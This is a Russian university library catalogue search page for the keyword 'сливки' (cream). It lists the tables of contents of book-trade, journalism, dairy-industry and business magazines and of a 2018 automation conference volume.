Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

117 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=СЛИВКИ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 26
1. 
Книжная индустрия. - Журнал, 2011г. № 1
Оглавление 
  • Сеславинский, Михаил Вадимович. Михаил Сеславинский: "Мы должны гарантировать интеллектуальное будущее российской нации" / М. В. Сеславинский. - с.18-21
  • Аязов, Вячеслав Рашитович. "АККОРД ПОСТ" - комплексные решения для бизнеса / В. Р. Аязов. - с.22-23
  • Терлецкий, Василий. "В ближайшем будущем издатели и авторы все больше будут зарабатывать на распространении отдельных частей книг, журналов и газет" / В. Терлецкий. - с.24-26
  • Перевозников, Вадим Юрьевич. "ПродаЛитЪ"- курс на стабильное и интенсивное развитие / В. Ю. Перевозников. - с.27-28
  • Васянин, Михаил Валерьевич. Ясный глаз, или Как создавать интересные и нетривиальные словари? / М. В. Васянин. - с.34-35
  • Новикова, Лиза. Мультиформатный Non/fiction / Л. Новикова. - с.38-41
  • Григорьев, Владимир Викторович. Национальная программа поддержки чтения: успехи и неудачи / В. В. Григорьев, Е. И. Кузьмин. - с.42-43
  • Рынок лингвистических словарей. Текущая ситуация и основные тренды. - с.44-45
  • Кемерово. - с.48-49
  • От заката до рассвета. - с.50-52
  • Шрайберг, Яков Леонидович. "Большая часть ресурсов в интересах науки и образования должна быть бесплатной" / Я. Л. Шрайберг. - с.53-55
  • Петрусенко, Татьяна Викторовна. Электронные аукционы: шаг за шагом / Т. В. Петрусенко, И. В. Эйдемиллер. - с.56-59
  • Ро, Ольга. Книжный бизнес в 2011 году / О. Ро. - с.60-62
  • Станет ли EOTP российским Nielsen-ом?. - с.63-64
  • Сливки - 2010. - с.9-13
  • "Инициатива - 2010". - с.13-17
  • Электронный контент - поле для сражений. - с.6-7
Держатели документа (Информация об экземплярах) 
2. 
Книжная индустрия. - Журнал, 2010г. № 1
Оглавление 
  • Саратов. - с.32-33
  • Зельманович, Г. В. Маркетинговые коммуникации: микроблоги / Г. В. Зельманович. - с.38-39
  • Сливки - 2009. - с.12-13
  • Профессиональные победы - 2009. - с.14-17
  • Интеллектуальной литературы стало на восемь метров больше. - с.18-19
  • Панкова, А. Н. Кто в деле смел... / А. Н. Панкова. - с.20-21
  • Григорьев, Владимир Викторович. Владимир Григорьев: "Мы стоим у истоков "новой книжности" / В. В. Григорьев. - с.8-11
  • На чем основана успешная работа предприятия?. - с.22-23
  • Маркоткин, М. Ю. Рынок детской книги. Тенденции и прогнозы / М. Ю. Маркоткин, Б. В. Кузнецов. - с.34-37
  • Бормашева, Ольга. Продвижение чтения - год третий / О. Бормашева. - с.24-26
  • Дубанос, Галина Михайловна. "Мила-В": нас знают как ответственных и порядочных людей / Г. М. Дубанос. - с.40-41
  • Ленский, Б. В. Pearson и его импринты / Б. В. Ленский, А. Н. Воропаев, А. А. Столяров. - с.42-43
  • Читающая Брянщина. - с.44-45
  • Цифровые бизнес-модели производства книг: что, где, когда. - с.48-50
  • Ро, Ольга. Книжный рынок в 2010 году / О. Ро. - с.51-52
  • Ро, Ольга. Детская книга и Интернет: реальность цифровая, альтернативная и дополненная / О. Ро. - с.52-55
  • Саратов. - с.32-33
  • Зельманович, Г. В. Маркетинговые коммуникации: микроблоги / Г. В. Зельманович. - с.38-39
  • Сливки - 2009. - с.12-13
  • Профессиональные победы - 2009. - с.14-17
  • Интеллектуальной литературы стало на восемь метров больше. - с.18-19
  • Панкова, А. Н. Кто в деле смел... / А. Н. Панкова. - с.20-21
  • Григорьев, Владимир Викторович. Владимир Григорьев: "Мы стоим у истоков "новой книжности" / В. В. Григорьев. - с.8-11
  • На чем основана успешная работа предприятия?. - с.22-23
  • Маркоткин, М. Ю. Рынок детской книги. Тенденции и прогнозы / М. Ю. Маркоткин, Б. В. Кузнецов. - с.34-37
  • Бормашева, Ольга. Продвижение чтения - год третий / О. Бормашева. - с.24-26
  • Дубанос, Галина Михайловна. "Мила-В": нас знают как ответственных и порядочных людей / Г. М. Дубанос. - с.40-41
  • Ленский, Б. В. Pearson и его импринты / Б. В. Ленский, А. Н. Воропаев, А. А. Столяров. - с.42-43
  • Читающая Брянщина. - с.44-45
  • Цифровые бизнес-модели производства книг: что, где, когда. - с.48-50
  • Ро, Ольга. Книжный рынок в 2010 году / О. Ро. - с.51-52
  • Ро, Ольга. Детская книга и Интернет: реальность цифровая, альтернативная и дополненная / О. Ро. - с.52-55
Держатели документа (Информация об экземплярах) 
3. 
Журналист. - Журнал, 2010г. № 1
Оглавление 
  • Мальцев, Геннадий. Стать немножко журналистом... / Г. Мальцев. - с.1
  • Медведев, Дмитрий. Со свободой слова у нас все в порядке / Д. Медведев. - с.4-5
  • Условия участия в конкурсе "Правовая Россия". - с.7
  • Бумела, Джим. Плохие перемены / Д. Бумела. - с.10
  • Вайнонен, Никита. Тигровые игры / Н. Вайнонен. - с.11-13
  • Челышев, Виталий. Изолировано ли Прикамье? / В. Челышев. - с.14-15
  • Симонов, Алексей. Черепаховый суп / А. Симонов. - с.16-17
  • Золотухин, Юрий. ПРЕСС-служба или СПЕЦслужба? / Ю. Золотухин. - с.20-21
  • Басков, Вячеслав. Пишущим вход воспрещен! / В. Басков. - с.22-23
  • Янс, Георгий. Стертая метафора / Г. Янс. - с.24-25
  • Иванишина, Наталья. Мы - выбираем, нас - выбирают... / Н. Иванишина. - с.25-27
  • Хрипун, Вячеслав. "С вашими чиновниками невероятно трудно найти общий язык" / В. Хрипун. - с.27-28
  • Цветов, Петр. Почему вода не точит камень равнодушия? / П. Цветов. - с.29-30
  • Мазенко, Владимир. При кризисе, как на войне, все средства хороши. Главное - превосходная журналистика / В. Мазенко. - с.32-33
  • Минаев, Александр. Сколько стоит подписка? / А. Минаев. - с.34-36
  • Назайкин, Александр. Реклама в СМИ до и после кризиса / А. Назайкин. - с.37-39
  • Федяева, Татьяна. И невинность соблюсти, и капитал приобрести / Т. Федяева. - с.40-41
  • Кейбол, Людмила. Мы не уйдем, как бы кто ни надеялся! / Л. Кейбол. - с.41
  • Николаева, Наталья. Сотрудничество районного масштаба / Н. Николаева. - с.42
  • Юшков, Роман. Бессловесные / Р. Юшков. - с.43
  • Варыга, Юлия. Газетный дизайн в оценках экспертов / Ю. Варыга. - с.44-45
  • Ханзерова, Ирина. Летопись временных лет Ненецкого округа / И. Ханзерова, С. Безумова, А. Михин. - с.46-47
  • Пурим, Марина. Рунет: сливки-2009 / М. Пурим. - с.48-50
  • Вартанов, Анри. Произносить чужое, говорить свое... / А. Вартанов. - с.52-53
  • Владимирова, Мария. Успеть за технологиями / М. Владимирова. - с.54-55
  • Адамьянц, Тамара. Самый-самый на телевидении... / Т. Адамьянц. - с.56-57
  • Баталина, Юлия. Большие проблемы малого телевидения / Ю. Баталина. - с.58-59
  • Гуреев, Владимир. "Коллеги разобрали нашу "Воложку" по косточкам" / В. Гуреев. - с.62-63
  • Давайте выберем Леди Жур!. - с.64-65
  • Щепин, Евгений. Нестандартный электрик в стандартных обстоятельствах / Е. Щепин. - с.66-67
  • Евстигнеева, Ольга. Три монолога / О. Евстигнеева. - с.68
  • Муратов, Фарит. "Профессионализм фотографа - в умении быть незамеченным" / Ф. Муратов. - с.69-71
  • Иванов, Борис. Журналист меняет профессию. На... должность / Б. Иванов. - с.73
  • Кулькова, Алина. "Послушай, деточка, может быть, тебе не нужно писать большие материалы? " / А. Кулькова. - с.74
  • Панченко, Ирина. Нужна честная оценка / И. Панченко. - с.75-76
  • Никифоров, Валерий. Фоторепортер Владимир Вяткин / В. Никифоров. - с.77-79
  • Серебрякова, Елена. Деревенский экстрим / Е. Серебрякова. - с.81
  • Голубев, Николай. Знать: за чем и зачем летишь... / Н. Голубев. - с.82
  • Зайцева, Любовь. Гендерный копирайт / Л. Зайцева. - с.83
  • Шевченко, Ксения. Если долго мучиться... / К. Шевченко. - с.83
  • Киселева, Елена. Говорю "нам", имея в виду и вас / Е. Киселева. - с.84
  • Черникова, Елена. Перед закрытием почты / Е. Черникова. - с.85-86
  • Егоров, Александр. Комиксы - это серьезно / А. Егоров. - с.87
  • Баймухаметов, Сергей. Колымская фантасмагория / С. Баймухаметов. - с.88-89
  • Кресс, Вернон. Колымский юмор / В. Кресс. - с.90
  • Михайлов, Николай. Читателем Павла Трояновского был сам Сталин,... но фронтовому репортеру это не помогло / Н. Михайлов. - с.91-93
  • Голованов, Дмитрий. Пресса и право / Д. Голованов. - с.94
Держатели документа (Информация об экземплярах) 
4. 
Автоматизация, мехатроника, информационные технологии [Электронный ресурс] / ОмГТУ, 2018. - 1 o=эл. опт. диск (CD-ROM)
Ключевые слова 
Оглавление 
  • Алиев, И. О. Исследование эффективности методов синтеза систем автоматического регулирования / И. О. Алиев, М. С. Пешко. - с.8-13. - Библиогр. в конце ст. : рис.
    Кл. слова: Регулятор, Математическая модель, Объект управления
  • Макаренко, И. О. Формализованное математическое описание процесса брожения пивного сусла / И. О. Макаренко. - с.14-17. - Библиогр. в конце ст. : рис.
    Кл. слова: Модель
  • Морозов, С. С. Стабилизация влажности сливочного масла в процессе маслообразования / С. С. Морозов, Е. С. Гебель. - с.18-22. - Библиогр. в конце ст. : рис.
    Кл. слова: Высокожирные сливки, Автоматическое управление
  • Панова, Л. С. Экспертная система оценки качества молока / Л. С. Панова, Е. С. Гебель. - с.23-27. - Библиогр. в конце ст. : рис.
    Кл. слова: Интеллектуальная система, Нечеткий регулятор, Фаззификация
  • Паршина, Г. И. Автоматизированная система подачи воды для тепловой энергетической компании / Г. И. Паршина, А. Д. Чен, Д. К. Жумагулова. - с.28-31. - Библиогр. в конце ст. : рис.
    Кл. слова: Насосная станция, Гидроудар, Функциональная схема
  • Прудцких, Н. В. Вертикальные теплицы: переход к концепции модульности / Н. В. Прудцких. - с.32-35. - Библиогр. в конце ст. : рис.
    Кл. слова: Тепличный комплекс, Система управления, Типовое строительство
  • Семиколенов, М. А. Автоматизированная система визуализации основных производственных показателей / М. А. Семиколенов, Е. И. Моренко, Е. С. Гебель. - с.36-39. - Библиогр. в конце ст. : рис.
    Кл. слова: Панель индикатора, Анализ данных, Показатель эффективности
  • Татомир, Т. С. Моделирование процесса нагрева изобутановой фракции в трубчатой печи с использованием программного обеспечения Aspen HYSYS / Т. С. Татомир, А. А. Ибатуллин, И. А. Сорокина. - с.40-46. - Библиогр. в конце ст. : рис.
    Кл. слова: Оптимизация, АСУ ТП
  • Фарунцев, С. Д. Перспективы повышения эффективности технологических процессов подготовки нефти средствами промышленной автоматизации / С. Д. Фарунцев, А. А. Перминов. - с.47-52. - Библиогр. в конце ст. : рис.
    Кл. слова: Интеллектуальное месторождение, Система управления, Содружество
  • Буйнов, М. А. Структурный синтез механизмов мехатронных устройств и роботов / М. А. Буйнов. - с.53-57. - Библиогр. в конце ст. : рис.
    Кл. слова: Избыточная связь, Лишняя подвижность, Метрическая связь
  • Ромазанов, М. Р. Анализ современных подходов при создании роботов телеприсутствия / М. Р. Ромазанов, В. О. Рябчевский, Е. И. Пастухова. - с.58-62. - Библиогр. в конце ст. : рис.
    Кл. слова: Антропоморфный робот, Удалённое рабочее место
  • Донцов, Д. В. Разработка системы моделирования движения квадрокоптера / Д. В. Донцов, А. А. Кабанов. - с.63-66. - Библиогр. в конце ст. : рис.
    Кл. слова: Управление
  • Жигулина, Ю. В. Гидродинамический демпфер системы ориентации и стабилизации / Ю. В. Жигулина [и др.]. - с.67-71. - Библиогр. в конце ст. : рис.
    Другие авторы: Осипов В. И., Цветков В. А., Воротынцев Б. Н.
    Кл. слова: Жидкий маховик, Датчик угловой скорости
  • Кузьмин, А. О. Улучшение характеристик объемных гидравлических машин / А. О. Кузьмин [и др.]. - с.72-74.. - Библиогр. в конце ст.
    Другие авторы: Попов В. В., Стажков С. М., Валиков П. И.
    Кл. слова: Мехатроника, Машиностроение, Гидронасос
  • Машин, С. П. Роботизированный комплекс для выполнения хирургических операций / С. П. Машин, Д. А. Токарев, А. А. Кабанов. - с.75-79. - Библиогр. в конце ст. : рис.
    Кл. слова: Робот, Манипулятор
  • Михалев, А. В. Насос гидродинамического демпфера / А. В. Михалев [и др.]. - с.80-84. - Библиогр. в конце ст. : рис.
    Другие авторы: Осипов В. И., Королёв В. А., Киев А. В.
    Кл. слова: Давление, Вязкость, Контроллер
  • Тарасов, А. А. Выбор способа горизонтирования транспортных платформ в зависимости от требований точности и нагрузки / А. А. Тарасов [и др.]. - с.85-90. - Библиогр. в конце ст. : табл.
    Другие авторы: Нефёдов А. Г., Цветков В. А., Попов В. В.
    Кл. слова: Гидропривод, Гидроцилиндр, Актуатор
  • Фешин, Б. Н. Задачи оптимального управления электроприводами робота-манипулятора / Б. Н. Фешин, Л. Г. Шпакова. - с.91-93.. - Библиогр. в конце ст.
    Кл. слова: Система управления
  • Титов, Ю. В. Разработка установки для получения «чистых» поверхностей и ультрадисперсного порошка высокоскоростным способом в криогенной среде / Ю. В. Титов [и др.]. - с.94-100. - Библиогр. в конце ст. : рис.
    Другие авторы: Реченко Д. С., Балова Д. Г., Андрейчук А. Ю.
    Кл. слова: Лабораторная установка
  • Шевченко, И. Ю. Программное обеспечение управления автономным тренажером "МТО" / И. Ю. Шевченко, С. С. Поярков. - с.101-105. - Библиогр. в конце ст. : рис.
    Кл. слова: Учебно-тренировочное средство, Алгоритм, Система управления
  • Новиков, А. А. Оптимизации подбора термометров сопротивления с помощью программного пакета MATLAB Simulink / А. А. Новиков, В. В. Заводов, М. С. Пешко. - с.106-113. - Библиогр. в конце ст. : рис.
    Кл. слова: Моделирование, Датчик термосопротивления, Погрешность измерения
  • Филаретов, В. Ф. Особенности формирования программных сигналов для исполнительных электроприводов промышленных роботов с избыточными степенями подвижности / В. Ф. Филаретов, А. С. Губанков, И. В. Горностаев. - с.114-118. - Библиогр. в конце ст. : рис.
    Кл. слова: Ограничения
  • Строев, А. О. Автоматизация синтеза схем внешних кабельных проводок на ортогональном поле с использованием волнового алгоритма / А. О. Строев [и др.]. - с.119-121. - Библиогр. в конце ст. : рис.
    Другие авторы: Кужель А. Н., Зуга И. М., Хомченко В. Г.
  • Строев, А. О. Синтез схем внешних кабельных проводок на основе волнового алгоритма с использованием окрестности Мура / А. О. Строев [и др.]. - с.122-124. - Библиогр. в конце ст. : рис.
    Другие авторы: Кужель А. Н., Зуга И. М., Хомченко В. Г.
    Кл. слова: Кабельные трассы, Оптимизация
  • Малахов, И. И. Моделирование и кинематический анализ кривошипно-ползунного механизма / И. И. Малахов [и др.]. - с.125-129. - Библиогр. в конце ст. : рис.
    Другие авторы: Моренко Е. И., Лузарев К. А., Семиколенов М. А.
    Кл. слова: Расчет
  • Нурмаганбетова, Г. С. Косвенные методы определения активного сопротивления и температуры статора асинхронного электродвигателя / Г. С. Нурмаганбетова. - с.130-133. - Библиогр. в конце ст. : граф.
    Кл. слова: Защита
  • Жуков, Ю. А. Моделирование трения в линейном приводе системы управления гексаподом космического назначения / Ю. А. Жуков, М. И. Надежин. - с.134-142. - Библиогр. в конце ст. : рис.
    Кл. слова: Трение ЛуГре, Шаговый двигатель
  • Сухарев, Р. Ю. Нечеткое регулирование в АСУТП гидроочистки дизельного топлива / Р. Ю. Сухарев, Е. И. Пастухова. - с.143-150. - Библиогр. в конце ст. : рис.
    Кл. слова: Технологический процесс, Структурная схема, Нефтепродукт
  • Королёв, В. А. Обобщённая математическая модель с цикловым управлением / В. А. Королёв, А. В. Киев, Б. Н. Воротынцев. - с.151-154. - Библиогр. в конце ст. : рис.
    Кл. слова: Пневмопривод, Цикл, Автоматизация
  • Мачулин, П. С. Резервирование системы управления привода путем применения генераторного режима работы / П. С. Мачулин. - с.155-158. - Библиогр. в конце ст. : граф.
  • Саткангулов, Р. К. Замена контроллерного оборудования в разрабатываемой автоматической системе управления групповыми замерными установками на нефтяном месторождении «Восточный Молдабек» АО «Эмбамунайгаз» / Р. К. Саткангулов, К. К. Смагулова. - с.159-161.. - Библиогр. в конце ст.
    Кл. слова: Измерение, Учёт, Геологоразведка
  • Зверев, А. Е. Комплексное программное решение для реализации процессов сбора и обработки плановой и отчетной информации в целях финансового планирования и оперативного мониторинга деятельности подведомственных учреждений / А. Е. Зверев [и др.]. - с.162-164. - Библиогр. в конце ст. : рис.
    Другие авторы: Куликова А. В., Полотнов М. М., Фомин К. В.
    Кл. слова: Информационные системы, Сбор данных, Централизованное хранилище
  • Зверев, А. Е. Научно-методическое и информационно-аналитическое сопровождение оказания государственных услуг в части подготовки кадров высшей квалификации / А. Е. Зверев, А. В. Куликова, М. М. Полотнов. - с.165-167.. - Библиогр. в конце ст.
    Кл. слова: Распределение ресурсов, Аналитическая система, Принятие решения
  • Лузарев, К. А. Система показателей технического состояния запорно-регулирующей арматуры / К. А. Лузарев, Е. С. Гебель. - с.168-172. - Библиогр. в конце ст. : табл.
    Кл. слова: Поломка, Пневматическая часть, Механическая часть
  • Иванов, В. А. GSM-сети в распределённых системах контроля технологических процессов / В. А. Иванов, Е. С. Котов, И. В. Брейдо. - с.173-175. - Библиогр. в конце ст. : табл.
    Кл. слова: Технологии GSM, GSM/GPRS модем
Держатели документа (Информация об экземплярах) 

Представлены материалы докладов по автоматизации технологических процессов и производств, управлению в технических системах, программному и алгоритмическому обеспечению систем управления техническими объектами, мехатронным и робототехническим системам и модулям, а также по информационным технологиям в прикладных областях исследования.

Издание адресовано научным сотрудникам, инженерам, преподавателям и аспирантам, работающим в области теории управления, механики и их приложений.

Полный текст
5. 
Книжная индустрия. - Журнал, 2012г. № 1
Оглавление 
  • Котов, Денис Алексеевич. "Буквоед" начал продажи собственного ридера / Д. А. Котов. - с.6-7
  • И много слов о главном. - с.10-19
  • Ильясов, Руслан. Важные советы коллег из других отраслей / Р. Ильясов. - с.20-22
  • Норовяткин, Анатолий. Персонал - это ключевая зона работы / А. Норовяткин. - с.23-24
  • Иванов, Дмитрий Николаевич. "Нас ждет интересное и увлекательное время" / Д. Н. Иванов. - с.25-29
  • Антипов, Константин Валерьевич. Меняющейся отрасли нужны новые высококлассные специалисты / К. В. Антипов. - с.30-33
  • Насретдинов, Алексей. "Физика и анатомия музыки" / А. Насретдинов. - с.36
  • Сливки - 2011. - с.41-43
  • Перспективы книжного бизнеса. - с.46-48
  • Горбунов, Анатолий Владимирович. В предверии съезда АСКР: от призывов к практическим делам / А. В. Горбунов. - с.49-52
  • Филимонов, Олег Васильевич. АСКИ: итоги года / О. В. Филимонов. - с.52-53
  • Циомо, Николай Юрьевич. Как независимым издательствам получить своего читателя / Н. Ю. Циомо. - с.54-55
  • Крусткалн, Ян Эдуардович. Технологическая неоднородность книжного рынка / Я. Э. Крусткалн. - с.56
  • Языком цифры. - с.57-59
  • Каменская, Наталья Георгиевна. Книги по русской истории на московском антикварном рынке / Н. Г. Каменская. - с.60-62
  • Шрайберг, Яков Леонидович. "Библиотека будущего состоится, особенно если будут внесены поправки в часть IV ГК РФ" / Я. Л. Шрайберг. - с.63-65
  • Сургут. - с.66-67
  • Ро, Ольга. Европа и США: то взлет, то посадка... Книжные итоги года / О. Ро. - с.68-69
  • Ро, Ольга. Книжный бизнес в 2012 году: прогнозы и перспективы / О. Ро. - с.69-72
Держатели документа (Информация об экземплярах) 
6. 
Молочная промышленность. - Журнал, 2010г. № 7
Оглавление 
  • Радаева, И. А. Ведущие ученые отрасли: Богданов Вячеслав Михайлович / И. А. Радаева. - с.80
  • К юбилею ведущего маслодела России. - с.74-75
  • Дунченко, Н. И. Научно-исследовательская работа - одна из основных составляющих подготовки магистров / Н. И. Дунченко, Л. В. Калинина, А. В. Ионов. - с.72-73
  • Пасько, О. В. Социальная значимость и экономическая эффективность технологий ферментированных продуктов / О. В. Пасько. - с.70-71
  • Быстрозамороженная творожная запеканка. - с.69
  • Степанов, К. М. Якутские национальные кисломолочные продукты нового поколения / К. М. Степанов, В. Т. Васильева. - с.68
  • Глаголева, Л. Э. Формы связи влаги в продуктах на творожной основе / Л. Э. Глаголева, Н. Ю. Черноусова, Л. С. Просвирина. - с.66-67
  • Количество в кефире полисахарида, производимого молочнокислыми бактериями. - с.64-65
  • Ермолаев, В. А. Вакуумное концентрирование молочно-белковых продуктов / В. А. Ермолаев. - с.62-63
  • Красноштанова, А. А. Молекулярное распределение белков при ультраконцентрировании сыворотки / А. А. Красноштанова, В. Г. Попов, О. В. Рытченкова. - с.60-61
  • Гиринович, О. А. Семинар "ЭФКО": фокус на творожную продукцию / О. А. Гиринович. - с.58-59
  • Смирнова, И. А. Молочно-белковый концентрат / И. А. Смирнова, В. Н. Печерина. - с.57
  • Мельникова, Е. И. Имитатор молочного жира для синбиотических продуктов / Е. И. Мельникова, Е. Б. Станиславская, Н. А. Подгорный. - с.55-56
  • Куликова, И. К. Кисломолочный напиток смешанного брожения / И. К. Куликова, И. А. Евдокимов, М. А. Гашева. - с.53-54
  • Тагатозосодержащий подсластитель. - с.52
  • Кравченко, Э. Ф. Белковые структурообразователи - загустители / Э. Ф. Кравченко, В. П. Захлестных. - с.51
  • Евелева, В. В. Добавки для йогурта / В. В. Евелева, А. Л. Рублев, Л. А. Забодалова. - с.48-50
  • Соколенко, Г. Г. Сывороточный квас с экстрактом амаранта / Г. Г. Соколенко, К. К. Полянский, Т. В. Вострикова. - с.46-47
  • Электродиализные установки для переработки молочной сыворотки. - с.45
  • Бурцев, Д. Г. Концентрат "КПС - лакт" / Д. Г. Бурцев, А. Д. Лодыгин. - с.44
  • Бурцев, Д. Г. Бифидогенный концентрат "Лактобел" / Д. Г. Бурцев, В. Н. Чернобаев. - с.43
  • Дудникова, О. А. Липидно-белковый концентрат / О. А. Дудникова, А. Д. Лодыгин, А. Г. Храмцов. - с.42-43
  • Храмцов, А. Г. Модернизация молочного дела: продвижение инновационных приоритетов / А. Г. Храмцов. - с.38-41
  • Комментарии к Типовой технологической инструкции по стандарту на молоко и сливки сгущенные с сахаром. - с.34-36
  • Пасько, О. В. Активизация роста и защиты культур с пробиотическими свойствами / О. В. Пасько. - с.31-32
  • Арсеньева, Т. П. К чему приводит лактазная недостаточность / Т. П. Арсеньева. - с.28-30
  • Хамагаева, И. С. Внеклкеточные метаболиты, синтезируемые пробиотическими микроорганизмами / И. С. Хамагаева, С. Б. Тумунова, Н. А. Замбалова. - с.27
  • Влияние лактитола на сквашивание и антагонистическую активность молочнокислых микроорганизмов. - с.24-26
  • Производители "Бифилайф" - лидеры молочной промышленности. - с.23
  • Ефимочкина, Н. Р. Возбудители пищевых зоонозов / Н. Р. Ефимочкина. - с.20-22
  • В помощь микробиологу. - с.18
  • Миллер, М. "Прозрачное молоко" на предприятии TNUVA / М. Миллер, М. Полыновская. - с.16-17
  • Имидж розничных сетей России глазами покупателей. - с.13-14
  • Быковская, Г. В. Как можно стабилизировать цены на молоко / Г. В. Быковская. - с.9-12
  • Потенциальные возможности и перспективы развития рынка молока и молочных продуктов в России. - с.6-8
Держатели документа (Информация об экземплярах) 
7. 
Эксперт. - Журнал, 2010г. № 41 (18-24 окт.)
Оглавление 
  • Привалов, Александр. О всенародном обсуждении законопроекта / А. Привалов. - с.14
  • Кокшаров, Александр. Золотые будни / А. Кокшаров. - с.18-22, 24
  • Рубанов, Иван. Технология дегазпромизации / И. Рубанов. - с.26-27
  • Рыцарева, Елена. Пока не погиб урожай / Е. Рыцарева. - с.28, 30
  • Ланин, Дмитрий. QIWI будет банковать / Д. Ланин. - с.32, 34
  • Виньков, Андрей. Долгий выход в свет / А. Виньков. - с.36-38, 42
  • Горяинов, Сергей. Бриллианты навсегда / С. Горяинов. - с.40-41
  • Щукин, Алексей. Технопарк догоняющего развития / А. Щукин. - с.44-46, 48
  • Журавлев, Сергей. Премия за "трение" / С. Журавлев. - с.50-52
  • Костина, Галина. Русский венчурист из Пало-Альто / Г. Костина. - с.55, 58, 60-62
  • Кувалдин, Станислав. Осенний покой / С. Кувалдин. - с.64, 66
  • Попова, Юлия. Декларация о намерениях / Ю. Попова. - с.68-70, 72
  • Долин, Антон. Зажмуренные / А. Долин. - с.74
  • Озон, Франсуа. Контролируй, что можешь, и смирись с остальным / Ф. Озон. - с.76-77
  • Курчатова, Наталия. Чудеса и волшебство / Н. Курчатова. - с.80
  • Кириченко, Кирилл. Сила отношений / К. Кириченко. - с.81
  • Борисова, Елена. Правила игры / Е. Борисова. - с.81
  • Ступина, Нина. Утраченные иллюзии / Н. Ступина. - с.81
  • Ступин, Илья. Спрос застрял в отпусках / И. Ступин. - с.84-85
  • Ступин, Илья. Сняли ипотечные сливки / И. Ступин. - с.86, 88
  • Ипотека от Сбербанка: легко и доступно. - с.87
  • Мищенко, Валерий. Завхоз для лендлорда / В. Мищенко. - с.89-92
  • Грамматчиков, Алексей. Подзарядка от БРИК / А. Грамматчиков. - с.93-100
  • Басова, Ольга. Страхование в каждую компанию / О. Басова. - с.102-104
  • Комлева, Наталья. Как построить рынок? / Н. Комлева. - с.105-106
  • Рубль не в настроении. РТС вблизи психологических отметок. - с.108-109
  • Потребительские настроения: рецидив пессимизма. Минздрав не боится сезонной безработицы. - с.110
  • Михальчук, Петр. Американская валюта падает на ожиданиях эмиссии. Цены на золото подбираются к отметке 1400 долларов / П. Михальчук. - с.111
  • Соколов, Максим. Чума / М. Соколов. - с.112
  • Отступление на подготовленные рубежи. - с.8
  • ЦБ ослабляет курсовые вожжи. - с.8, 10
  • Пабы уходят в историю. - с.12
  • Дело за коалицией. - с.12
Держатели документа (Информация об экземплярах) 
8. 
Молочная промышленность. - Журнал, 2011г. № 1
Оглавление 
  • Радаева, И. А. Николай Никитович Липатов (1923-1994) / И. А. Радаева. - с.72-73
  • Карликова, Г. Г. Влияние упитанности коров в сухостойный период на свойства молока / Г. Г. Карликова, О. В. Москвичева, Н. Д. Дроздов. - с.64
  • Разумникова, И. С. Перспективы использования молока трансгенных животных / И. С. Разумникова, Е. В. Короткая, А. Ю. Просеков. - с.62-63
  • Жданов, А. А. ЗАПАД и ВОСТОК: сближаемся или отдаляемся? / А. А. Жданов. - с.60-61
  • Двинский, Б. М. Международная выставка "Пищевые ингредиенты, добавки и пряности" / Б. М. Двинский. - с.54-59
  • Рыбалова, Т. И. Пока не догнать, не перегнать... / Т. И. Рыбалова. - с.50
  • Вышемирский, Ф. А. Пахта как "обезжиренные сливки" / Ф. А. Вышемирский. - с.49
  • Строение оболочки жировых шариков. - с.48-49
  • Эффективный способ переработки творожной сыворотки. - с.45-46
  • Кисломолочный биопродукт "Бифилайф" в массовом питании школьников. - с.43
  • Страничка технолога. - с.42
  • Соколов, Д. М. Биолюминесцентный метод экспресс-контроля гигиены на производстве / Д. М. Соколов, И. В. Кашинцев, М. С. Соколов. - с.39-41
  • В помощь микробиологу. - с.38
  • Соколова, О. М. Заквасочные культуры компании "Христиан Хансен" для традиционных кисломолочных продуктов / О. М. Соколова. - с.36-37
  • Бушуева, И. Г. Год спустя: технохимический контроль на молочных предприятиях / И. Г. Бушуева. - с.34
  • Поляк, А. Л. Рынок сухого молока и масла. Обзор и прогноз 2010-2011 гг. / А. Л. Поляк. - с.28-32
  • Смирнов, Е. В. Европейский регламент по ароматизаторам / Е. В. Смирнов. - с.24-26
  • Нечаев, А. П. Техническое регулирование в области пищевых добавок и ароматизаторов / А. П. Нечаев, Т. В. Коткова. - с.21-23
  • Крикун, Т. И. Проблемы совместимости требований национального законодательства и нормативной базы Таможенного союза / Т. И. Крикун. - с.19-20
  • "Молинформ" вновь собирает молочников. - с.18
  • Перспектива всегда там, где умеют видеть будущее. - с.16-18
  • Мониторинг продовольственных товаров в торговых организациях Санкт-Петербурга. - с.14-15
  • Кузлякин, А. К. Государственные закупки в Казахстане / А. К. Кузлякин, А. Я. Баймурзина. - с.12-13
  • Лесных, О. В. Учет операций по возврату молочной продукции от покупателей / О. В. Лесных. - с.8-11
  • Нижегородцев, Т. В. Мониторинг Закона о торговле / Т. В. Нижегородцев. - с.7
  • Ананьева, Н. В. Совершенствование Закона о торговле / Н. В. Ананьева. - с.4-6
9. 
Молочная промышленность. - Журнал, 2010г. № 8
Оглавление 
  • Пасько, О. В. Эффективные ассоциации пробиотических культур для ферментированных продуктов / О. В. Пасько. - с.74-75
  • Гордиенко, Л. А. Йогурт с использованием концентрата сывороточных белков: реологические свойства / Л. А. Гордиенко, И. К. Куликова, И. А. Евдокимов. - с.72-73
  • Алексеенко, А. В. Новые решения в производстве замороженных десертов / А. В. Алексеенко, С. В. Колесникова. - с.71
  • Поздравляем с юбилеем. - с.70
  • Натурально, полезно, качественно. - с.68
  • Цветков, И. Л. Заквасочные культуры "Лиофаст" от "БК Джюлини": опыт применения в Сибири и Казахстане / И. Л. Цветков, Н. Г. Бабкина. - с.66-67
  • В помощь микробиологу. - с.64
  • Салькова, Ю. Как не обжечься на молоке и получить сливки / Ю. Салькова. - с.60-62
  • Бушуева, И. Г. "Эрманн" в России: итоги работы за 2009 г. и перспективы сотрудничества с поставщиками молока / И. Г. Бушуева. - с.56-59
  • Изменение демографической ситуации открывает новые возможности. - с.52-54
  • Динамика расходов на продукты питания в России. - с.51
  • Восстановление экономики идет не так быстро. - с.50-51
  • Смирнов, Е. Р. Ценовая конъюнктура сырьевой базы молочного рынка ЕС в 2009-2010 гг. (январь-май) / Е. Р. Смирнов. - с.46-48
  • Спицын, А. Поддержание качества продукта / А. Спицын. - с.45
  • Бушуева, И. Инвестиционная привлекательность молочного сектора России / И. Бушуева. - с.42-44
  • Серегин, С. Н. Программно-целевой принцип как фактор повышения темпов роста маслосыродельной отрасли России / С. Н. Серегин, Н. П. Свирина. - с.38-41
